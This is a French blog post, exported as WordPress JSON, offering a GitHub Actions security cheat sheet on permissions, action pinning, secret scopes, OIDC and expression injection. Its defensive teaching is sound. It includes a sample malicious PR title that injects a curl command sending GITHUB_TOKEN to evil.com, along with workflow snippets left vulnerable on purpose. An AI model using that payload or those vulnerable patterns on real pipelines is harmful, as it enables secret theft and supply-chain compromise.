{"id":456,"date":"2026-03-24T08:56:54","date_gmt":"2026-03-24T07:56:54","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=456"},"modified":"2026-03-24T08:57:05","modified_gmt":"2026-03-24T07:57:05","slug":"github-actions-security-cheat-sheet","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-cheat-sheet\/","title":{"rendered":"Cheat Sheet S\u00e9curit\u00e9 GitHub Actions : Permissions, Pinning, Secrets et OIDC"},"content":{"rendered":"<h2>1. Permissions \u2014 Principe du moindre privil\u00e8ge<\/h2>\n<p>Le changement le plus impactant que vous puissiez apporter \u00e0 n&rsquo;importe quel workflow GitHub Actions est de verrouiller les permissions. Par d\u00e9faut, <code>GITHUB_TOKEN<\/code> dispose d&rsquo;un <strong>acc\u00e8s en lecture et \u00e9criture<\/strong> sur la plupart des scopes. Corrigez cela imm\u00e9diatement.<\/p>\n<h3>Permissions en lecture seule par d\u00e9faut (niveau global)<\/h3>\n<p>Placez ceci en <strong>haut de chaque fichier workflow<\/strong> pour d\u00e9finir la lecture seule comme valeur par d\u00e9faut pour tous les jobs :<\/p>\n<pre><code class=\"language-yaml\"># .github\/workflows\/ci.yml\nname: CI\non: [push, pull_request]\n\npermissions: read-all\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4<\/code><\/pre>\n<h3>Permissions vides (aucun acc\u00e8s)<\/h3>\n<p>Pour les jobs qui n&rsquo;interagissent jamais avec les API GitHub ni le d\u00e9p\u00f4t, supprimez toutes les permissions :<\/p>\n<pre><code class=\"language-yaml\">jobs:\n  lint:\n    runs-on: ubuntu-latest\n    permissions: {}\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm run lint<\/code><\/pre>\n<p><strong>Pourquoi \u00e7a fonctionne :<\/strong> <code>actions\/checkout<\/code> utilise le token pour les d\u00e9p\u00f4ts priv\u00e9s mais se rabat sur un clone anonyme pour les d\u00e9p\u00f4ts publics. Si votre d\u00e9p\u00f4t est public, <code>permissions: {}<\/code> est s\u00fbr pour le checkout.<\/p>\n<h3>Recettes de permissions par job<\/h3>\n<p>N&rsquo;accordez que ce dont chaque job a besoin :<\/p>\n<pre><code class=\"language-yaml\"># Checkout uniquement (d\u00e9p\u00f4t priv\u00e9)\njobs:\n  test:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n# D\u00e9ployer sur GitHub Pages\njobs:\n  deploy-pages:\n    permissions:\n      pages: write\n      id-token: write\n    runs-on: ubuntu-latest\n\n# Pousser vers GitHub Container Registry (GHCR)\njobs:\n  push-image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-latest\n\n# Cr\u00e9er une GitHub Release\njobs:\n  release:\n    permissions:\n      contents: write\n    runs-on: ubuntu-latest\n\n# Commenter une Pull Request\njobs:\n  comment:\n    permissions:\n      pull-requests: write\n    runs-on: ubuntu-latest<\/code><\/pre>\n<p><strong>R\u00e8gle d&rsquo;or :<\/strong> Commencez avec <code>permissions: {}<\/code> et ajoutez les scopes un par un jusqu&rsquo;\u00e0 ce que le job r\u00e9ussisse. Ne laissez jamais les permissions lecture-\u00e9criture par d\u00e9faut en place.<\/p>\n<h2>2. Pinning des actions \u2014 Arr\u00eatez d&rsquo;utiliser les tags<\/h2>\n<p>Les tags comme <code>@v4<\/code> sont mutables. Un attaquant qui compromet une action populaire peut d\u00e9placer le tag vers un commit malveillant. <strong>\u00c9pinglez chaque action tierce \u00e0 un SHA complet.<\/strong><\/p>\n<h3>\u00c9pingl\u00e9 vs. Non \u00e9pingl\u00e9<\/h3>\n<pre><code class=\"language-yaml\"># DANGEREUX \u2014 le tag peut \u00eatre d\u00e9plac\u00e9 vers n'importe quel commit\n- uses: actions\/checkout@v4\n\n# S\u00dbR \u2014 r\u00e9f\u00e9rence de commit immuable\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1<\/code><\/pre>\n<p>Le commentaire en fin de ligne pr\u00e9serve la lisibilit\u00e9 tandis que le SHA verrouille le code exact que vous avez audit\u00e9.<\/p>\n<h3>Trouver le SHA de n&rsquo;importe quelle action<\/h3>\n<pre><code class=\"language-bash\"># Obtenir le SHA complet pour un tag sp\u00e9cifique\ngit ls-remote --tags https:\/\/github.com\/actions\/checkout.git v4.1.1\n\n# Ou utiliser l'API GitHub\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4.1.1 --jq '.object.sha'<\/code><\/pre>\n<h3>Automatiser les mises \u00e0 jour avec Dependabot<\/h3>\n<p>\u00c9pingler par SHA ne signifie pas que vous arr\u00eatez de mettre \u00e0 jour. Laissez Dependabot proposer automatiquement les mont\u00e9es de version :<\/p>\n<pre><code class=\"language-yaml\"># .github\/dependabot.yml\nversion: 2\nupdates:\n  - package-ecosystem: github-actions\n    directory: \"\/\"\n    schedule:\n      interval: weekly\n    commit-message:\n      prefix: \"ci\"\n    reviewers:\n      - \"your-org\/security-team\"\n    labels:\n      - \"dependencies\"\n      - \"ci\"<\/code><\/pre>\n<p>Dependabot comprend les pins SHA. Il mettra \u00e0 jour le SHA <em>et<\/em> le commentaire du tag en une seule PR.<\/p>\n<h2>3. Gestion des secrets<\/h2>\n<p>GitHub propose trois p\u00e9rim\u00e8tres de secrets. Choisissez le bon pour minimiser le rayon d&rsquo;impact.<\/p>\n<h3>Comparaison des p\u00e9rim\u00e8tres de secrets<\/h3>\n<table>\n<thead>\n<tr>\n<th>P\u00e9rim\u00e8tre<\/th>\n<th>Visibilit\u00e9<\/th>\n<th>Id\u00e9al pour<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Repository<\/strong><\/td>\n<td>Tous les workflows d&rsquo;un d\u00e9p\u00f4t<\/td>\n<td>Cl\u00e9s API sp\u00e9cifiques au d\u00e9p\u00f4t, tokens<\/td>\n<\/tr>\n<tr>\n<td><strong>Environment<\/strong><\/td>\n<td>Uniquement les jobs ciblant cet environnement<\/td>\n<td>Identifiants de production, cl\u00e9s de d\u00e9ploiement<\/td>\n<\/tr>\n<tr>\n<td><strong>Organization<\/strong><\/td>\n<td>D\u00e9p\u00f4ts s\u00e9lectionn\u00e9s dans l&rsquo;organisation<\/td>\n<td>Comptes de service partag\u00e9s, identifiants de registre<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>R\u00e8gles de protection des environnements<\/h3>\n<p>Les environnements vous permettent de conditionner les d\u00e9ploiements \u00e0 des approbations, des d\u00e9lais d&rsquo;attente et des restrictions de branches :<\/p>\n<pre><code class=\"language-yaml\">jobs:\n  deploy-production:\n    runs-on: ubuntu-latest\n    environment:\n      name: production\n      url: https:\/\/app.example.com\n    permissions:\n      id-token: write\n      contents: read\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n      - name: Deploy\n        run: .\/deploy.sh\n        env:\n          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}<\/code><\/pre>\n<p>Ensuite, configurez l&rsquo;environnement <code>production<\/code> dans <strong>Settings \u2192 Environments<\/strong> avec :<\/p>\n<ul>\n<li>R\u00e9viseurs requis (au moins 1)<\/li>\n<li>D\u00e9lai d&rsquo;attente (par ex. 5 minutes)<\/li>\n<li>Restriction de branche de d\u00e9ploiement : <code>main<\/code> uniquement<\/li>\n<\/ul>\n<h3>La zone de danger pull_request vs pull_request_target<\/h3>\n<p>C&rsquo;est l&rsquo;une des incompr\u00e9hensions les plus dangereuses dans GitHub Actions :<\/p>\n<table>\n<thead>\n<tr>\n<th>D\u00e9clencheur<\/th>\n<th>Code extrait<\/th>\n<th>Secrets disponibles ?<\/th>\n<th>Risque<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>pull_request<\/code><\/td>\n<td>Commit de merge de la PR<\/td>\n<td>Non (forks)<\/td>\n<td>Faible<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request_target<\/code><\/td>\n<td>Branche de base<\/td>\n<td><strong>Oui<\/strong><\/td>\n<td><strong>Critique si vous extrayez le code de la PR<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Ne faites jamais ceci :<\/strong><\/p>\n<pre><code class=\"language-yaml\"># VULN\u00c9RABILIT\u00c9 CRITIQUE \u2014 secrets expos\u00e9s au code de la PR du fork\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Extrait du code NON FIABLE du fork\n      - run: .\/build.sh  # Ex\u00e9cute du code contr\u00f4l\u00e9 par l'attaquant AVEC les secrets<\/code><\/pre>\n<p>Si vous avez besoin de <code>pull_request_target<\/code>, n&rsquo;extrayez jamais le head de la PR. Utilisez-le uniquement pour \u00e9tiqueter ou commenter sur le code de la branche de base.<\/p>\n<h2>4. OIDC \/ Workload Identity Federation<\/h2>\n<p>Cessez de stocker des identifiants cloud \u00e0 longue dur\u00e9e de vie comme secrets. Utilisez OpenID Connect pour obtenir des tokens \u00e0 courte dur\u00e9e de vie directement aupr\u00e8s de votre fournisseur cloud.<\/p>\n<p><strong>Bloc de permissions requis pour tous les workflows OIDC :<\/strong><\/p>\n<pre><code class=\"language-yaml\">permissions:\n  id-token: write   # Requis pour demander le JWT OIDC\n  contents: read    # Requis pour actions\/checkout<\/code><\/pre>\n<h3>AWS \u2014 Configurer OIDC<\/h3>\n<pre><code class=\"language-yaml\">- name: Configure AWS Credentials\n  uses: aws-actions\/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2\n  with:\n    role-to-assume: arn:aws:iam::123456789012:role\/GitHubActions\n    aws-region: us-east-1<\/code><\/pre>\n<p><strong>Mod\u00e8le de politique de confiance AWS :<\/strong><\/p>\n<pre><code class=\"language-json\">{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::123456789012:oidc-provider\/token.actions.githubusercontent.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"token.actions.githubusercontent.com:aud\": \"sts.amazonaws.com\"\n        },\n        \"StringLike\": {\n          \"token.actions.githubusercontent.com:sub\": \"repo:your-org\/your-repo:ref:refs\/heads\/main\"\n        }\n      }\n    }\n  ]\n}<\/code><\/pre>\n<h3>GCP \u2014 Workload Identity Federation<\/h3>\n<pre><code class=\"language-yaml\">- name: Authenticate to Google Cloud\n  uses: google-github-actions\/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3\n  with:\n    workload_identity_provider: projects\/123456\/locations\/global\/workloadIdentityPools\/github\/providers\/github\n    service_account: github-actions@my-project.iam.gserviceaccount.com<\/code><\/pre>\n<h3>Azure \u2014 Federated Credentials<\/h3>\n<pre><code class=\"language-yaml\">- name: Azure Login\n  uses: azure\/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1\n  with:\n    client-id: ${{ secrets.AZURE_CLIENT_ID }}\n    tenant-id: ${{ secrets.AZURE_TENANT_ID }}\n    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}<\/code><\/pre>\n<p><strong>Avantage cl\u00e9 :<\/strong> Aucun identifiant statique stock\u00e9 nulle part. Les tokens expirent en quelques minutes. La politique de confiance restreint quels d\u00e9p\u00f4ts, branches et environnements peuvent assumer le r\u00f4le.<\/p>\n<h2>5. D\u00e9clencheurs de workflow \u2014 S\u00fbrs vs. Dangereux<\/h2>\n<p>Tous les d\u00e9clencheurs ne se valent pas. Certains ex\u00e9cutent du code provenant de sources non fiables ou accordent des permissions \u00e9lev\u00e9es.<\/p>\n<h3>Tableau de s\u00e9curit\u00e9 des d\u00e9clencheurs<\/h3>\n<table>\n<thead>\n<tr>\n<th>D\u00e9clencheur<\/th>\n<th>Niveau de risque<\/th>\n<th>Notes<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>push<\/code><\/td>\n<td>Faible<\/td>\n<td>N&rsquo;ex\u00e9cute que du code d\u00e9j\u00e0 fusionn\u00e9<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request<\/code><\/td>\n<td>Faible<\/td>\n<td>Pas de secrets pour les forks<\/td>\n<\/tr>\n<tr>\n<td><code>schedule<\/code><\/td>\n<td>Faible<\/td>\n<td>S&rsquo;ex\u00e9cute sur la branche par d\u00e9faut<\/td>\n<\/tr>\n<tr>\n<td><code>workflow_dispatch<\/code><\/td>\n<td>Moyen<\/td>\n<td>D\u00e9clencheur manuel \u2014 validez les entr\u00e9es<\/td>\n<\/tr>\n<tr>\n<td><code>pull_request_target<\/code><\/td>\n<td><strong>\u00c9lev\u00e9<\/strong><\/td>\n<td>Secrets disponibles \u2014 voir Section 3<\/td>\n<\/tr>\n<tr>\n<td><code>issue_comment<\/code><\/td>\n<td><strong>\u00c9lev\u00e9<\/strong><\/td>\n<td>N&rsquo;importe quel commentateur peut d\u00e9clencher \u2014 contr\u00f4lez avec des v\u00e9rifications de permissions<\/td>\n<\/tr>\n<tr>\n<td><code>workflow_run<\/code><\/td>\n<td><strong>\u00c9lev\u00e9<\/strong><\/td>\n<td>H\u00e9rite du contexte \u00e9lev\u00e9 du workflow d\u00e9clencheur<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Filtrage par branche et chemin<\/h3>\n<p>R\u00e9duisez les ex\u00e9cutions inutiles et limitez l&rsquo;exposition :<\/p>\n<pre><code class=\"language-yaml\">on:\n  push:\n    branches:\n      - main\n      - 'releases\/**'\n    paths:\n      - 'src\/**'\n      - 'package.json'\n    paths-ignore:\n      - 'docs\/**'\n      - '*.md'<\/code><\/pre>\n<h3>Contr\u00f4le de la concurrence<\/h3>\n<p>Emp\u00eachez plusieurs d\u00e9ploiements de se chevaucher :<\/p>\n<pre><code class=\"language-yaml\">concurrency:\n  group: deploy-${{ github.ref }}\n  cancel-in-progress: false  # Ne pas annuler les d\u00e9ploiements en cours\n\n# Pour les builds de PR o\u00f9 annuler les anciennes ex\u00e9cutions est s\u00fbr :\nconcurrency:\n  group: ci-${{ github.event.pull_request.number || github.sha }}\n  cancel-in-progress: true<\/code><\/pre>\n<h2>6. S\u00e9curit\u00e9 des actions tierces<\/h2>\n<p>Chaque ligne <code>uses:<\/code> dans votre workflow est une d\u00e9pendance de la cha\u00eene d&rsquo;approvisionnement. Traitez-la comme n&rsquo;importe quelle autre d\u00e9pendance.<\/p>\n<h3>Checklist d&rsquo;audit<\/h3>\n<p>Avant d&rsquo;adopter une action tierce, v\u00e9rifiez :<\/p>\n<ul>\n<li><strong>\u00c9diteur :<\/strong> Provient-elle d&rsquo;un cr\u00e9ateur v\u00e9rifi\u00e9 ou d&rsquo;une organisation connue (par ex. <code>actions\/*<\/code>, <code>aws-actions\/*<\/code>) ?<\/li>\n<li><strong>Code source :<\/strong> Avez-vous lu le fichier <code>action.yml<\/code> et le script d&rsquo;entr\u00e9e ?<\/li>\n<li><strong>Permissions :<\/strong> Demande-t-elle plus que n\u00e9cessaire ?<\/li>\n<li><strong>Stars \/ utilisation :<\/strong> Les actions peu utilis\u00e9es pr\u00e9sentent un risque plus \u00e9lev\u00e9.<\/li>\n<li><strong>Maintenance :<\/strong> Quand a eu lieu le dernier commit ? Les issues sont-elles trait\u00e9es ?<\/li>\n<li><strong>D\u00e9pendances :<\/strong> Importe-t-elle un \u00e9norme arbre <code>node_modules<\/code> ?<\/li>\n<\/ul>\n<h3>Forkez les actions critiques<\/h3>\n<p>Pour les actions qui s&rsquo;ex\u00e9cutent dans des pipelines sensibles, forkez-les dans votre organisation :<\/p>\n<pre><code class=\"language-yaml\"># Au lieu de :\n- uses: some-random-org\/deploy-action@v2\n\n# Forkez et \u00e9pinglez :\n- uses: your-org\/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2<\/code><\/pre>\n<p>Mettez en place un workflow planifi\u00e9 pour synchroniser votre fork et examiner les diffs avant de fusionner les changements upstream.<\/p>\n<h3>CODEOWNERS pour les fichiers workflow<\/h3>\n<p>Exigez une revue de l&rsquo;\u00e9quipe s\u00e9curit\u00e9 pour tout changement de workflow :<\/p>\n<pre><code class=\"language-bash\"># .github\/CODEOWNERS\n.github\/workflows\/   @your-org\/security-team\n.github\/actions\/      @your-org\/security-team<\/code><\/pre>\n<p>Combinez avec les r\u00e8gles de protection de branche exigeant l&rsquo;approbation des CODEOWNERS pour rendre cela applicable.<\/p>\n<h2>7. Pr\u00e9vention de l&rsquo;injection d&rsquo;expressions<\/h2>\n<p>Les expressions GitHub Actions (<code>${{ }}<\/code>) sont d\u00e9velopp\u00e9es par template <em>avant<\/em> que le shell ne les voie. Si un attaquant contr\u00f4le la valeur, il contr\u00f4le votre shell.<\/p>\n<h3>Le pattern dangereux<\/h3>\n<pre><code class=\"language-yaml\"># VULN\u00c9RABLE \u2014 l'attaquant contr\u00f4le le titre de la PR\n- name: Echo PR title\n  run: echo \"PR: ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n<p>Un titre de PR malveillant comme <code>Fix\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN #<\/code> sort du echo et exfiltre votre token.<\/p>\n<p><strong>Contextes dangereux qui acceptent des entr\u00e9es utilisateur :<\/strong><\/p>\n<ul>\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (nom de branche des forks)<\/li>\n<\/ul>\n<h3>L&rsquo;alternative s\u00fbre \u2014 Variables d&rsquo;environnement<\/h3>\n<pre><code class=\"language-yaml\"># S\u00dbR \u2014 la valeur est pass\u00e9e comme variable d'environnement, pas inject\u00e9e dans le script\n- name: Echo PR title\n  run: echo \"PR: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}<\/code><\/pre>\n<p>Lorsque la valeur transite par une variable d&rsquo;environnement, le shell la traite comme une donn\u00e9e, pas comme du code. C&rsquo;est la correction pour <strong>chaque<\/strong> injection d&rsquo;expression.<\/p>\n<h3>Utilisation s\u00fbre dans les conditions<\/h3>\n<p>Les expressions dans les conditions <code>if:<\/code> sont s\u00fbres car elles sont \u00e9valu\u00e9es par le runtime Actions, pas par le shell :<\/p>\n<pre><code class=\"language-yaml\"># S\u00dbR \u2014 \u00e9valu\u00e9 par le runtime Actions, pas le shell\n- name: Check label\n  if: contains(github.event.pull_request.labels.*.name, 'deploy')\n  run: echo \"Deploy label found\"<\/code><\/pre>\n<h2>8. Erreurs courantes \u2014 Top 5 avec corrections<\/h2>\n<h3>Erreur 1 : Permissions de token par d\u00e9faut (trop permissives)<\/h3>\n<pre><code class=\"language-yaml\"># MAUVAIS \u2014 lecture-\u00e9criture implicite sur tout\non: push\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps: ...\n\n# CORRIG\u00c9 \u2014 lecture seule explicite par d\u00e9faut\non: push\npermissions: read-all\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps: ...<\/code><\/pre>\n<h3>Erreur 2 : Utiliser des tags mutables pour les actions<\/h3>\n<pre><code class=\"language-yaml\"># MAUVAIS\n- uses: actions\/setup-node@v4\n\n# CORRIG\u00c9\n- uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2<\/code><\/pre>\n<h3>Erreur 3 : Identifiants cloud \u00e0 longue dur\u00e9e de vie comme secrets<\/h3>\n<pre><code class=\"language-yaml\"># MAUVAIS \u2014 cl\u00e9s AWS statiques qui n'expirent jamais\nenv:\n  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}\n  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}\n\n# CORRIG\u00c9 \u2014 f\u00e9d\u00e9ration OIDC, aucun identifiant stock\u00e9\n- uses: aws-actions\/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502\n  with:\n    role-to-assume: arn:aws:iam::123456789012:role\/GitHubActions\n    aws-region: us-east-1<\/code><\/pre>\n<h3>Erreur 4 : Extraire le code de la PR dans pull_request_target<\/h3>\n<pre><code class=\"language-yaml\"># MAUVAIS \u2014 ex\u00e9cute du code non fiable avec les secrets\non: pull_request_target\nsteps:\n  - uses: actions\/checkout@v4\n    with:\n      ref: ${{ github.event.pull_request.head.sha }}\n  - run: make build\n\n# CORRIG\u00c9 \u2014 utiliser le d\u00e9clencheur pull_request (pas de secrets pour les forks)\non: pull_request\nsteps:\n  - uses: actions\/checkout@v4\n  - run: make build<\/code><\/pre>\n<h3>Erreur 5 : Injection d&rsquo;expression via run:<\/h3>\n<pre><code class=\"language-yaml\"># MAUVAIS \u2014 interpolation directe des entr\u00e9es utilisateur\n- run: echo \"Issue: ${{ github.event.issue.title }}\"\n\n# CORRIG\u00c9 \u2014 passer par une variable d'environnement\n- run: echo \"Issue: $ISSUE_TITLE\"\n  env:\n    ISSUE_TITLE: ${{ github.event.issue.title }}<\/code><\/pre>\n<h2>Carte de r\u00e9f\u00e9rence rapide<\/h2>\n<table>\n<thead>\n<tr>\n<th>Pratique<\/th>\n<th>En une ligne<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Permissions par d\u00e9faut<\/td>\n<td><code>permissions: read-all<\/code> en haut du workflow<\/td>\n<\/tr>\n<tr>\n<td>\u00c9pingler les actions<\/td>\n<td>Utiliser le SHA complet de 40 caract\u00e8res + commentaire du tag<\/td>\n<\/tr>\n<tr>\n<td>Mise \u00e0 jour auto des pins<\/td>\n<td>Dependabot avec l&rsquo;\u00e9cosyst\u00e8me <code>github-actions<\/code><\/td>\n<\/tr>\n<tr>\n<td>Auth cloud<\/td>\n<td>F\u00e9d\u00e9ration OIDC, jamais de cl\u00e9s statiques<\/td>\n<\/tr>\n<tr>\n<td>Prot\u00e9ger les secrets<\/td>\n<td>P\u00e9rim\u00e8tres d&rsquo;environnement + r\u00e8gles de protection<\/td>\n<\/tr>\n<tr>\n<td>Pr\u00e9venir l&rsquo;injection<\/td>\n<td>Toujours utiliser <code>env:<\/code> pour les valeurs contr\u00f4l\u00e9es par l&rsquo;utilisateur<\/td>\n<\/tr>\n<tr>\n<td>Revue des workflows<\/td>\n<td>CODEOWNERS sur <code>.github\/workflows\/<\/code><\/td>\n<\/tr>\n<tr>\n<td>\u00c9viter les d\u00e9clencheurs risqu\u00e9s<\/td>\n<td>\u00c9viter <code>pull_request_target<\/code> + checkout<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Appliquer ne serait-ce que la moiti\u00e9 de ces pratiques place votre pipeline CI\/CD en avance sur la plupart des organisations. Commencez par les permissions et le pinning \u2014 cela prend cinq minutes et \u00e9limine des classes enti\u00e8res d&rsquo;attaques de la cha\u00eene d&rsquo;approvisionnement. Ensuite, passez \u00e0 la f\u00e9d\u00e9ration OIDC et \u00e0 la pr\u00e9vention de l&rsquo;injection d&rsquo;expressions pour combler les lacunes restantes.<\/p>\n<p>Pour vous exercer concr\u00e8tement, explorez nos <a href=\"https:\/\/secure-pipelines.com\/fr\/category\/ci-cd-security\/\">labs S\u00e9curit\u00e9 CI\/CD<\/a> et <a href=\"https:\/\/secure-pipelines.com\/fr\/category\/github-actions\/\">guides GitHub Actions<\/a> pour voir ces patterns appliqu\u00e9s dans des sc\u00e9narios r\u00e9els.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Permissions \u2014 Principe du moindre privil\u00e8ge Le changement le plus impactant que vous puissiez apporter \u00e0 n&rsquo;importe quel workflow GitHub Actions est de verrouiller les permissions. Par d\u00e9faut, GITHUB_TOKEN dispose d&rsquo;un acc\u00e8s en lecture et \u00e9criture sur la plupart des scopes. Corrigez cela imm\u00e9diatement. Permissions en lecture seule par d\u00e9faut (niveau global) Placez ceci &#8230; <a title=\"Cheat Sheet S\u00e9curit\u00e9 GitHub Actions : Permissions, Pinning, Secrets et OIDC\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-cheat-sheet\/\" aria-label=\"En savoir plus sur Cheat Sheet S\u00e9curit\u00e9 GitHub Actions : Permissions, Pinning, Secrets et OIDC\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,52],"tags":[],"post_folder":[],"class_list":["post-456","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=456"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/456\/revisions"}],"predecessor-version":[{"id":492,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/456\/revisions\/492"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=456"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=456"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}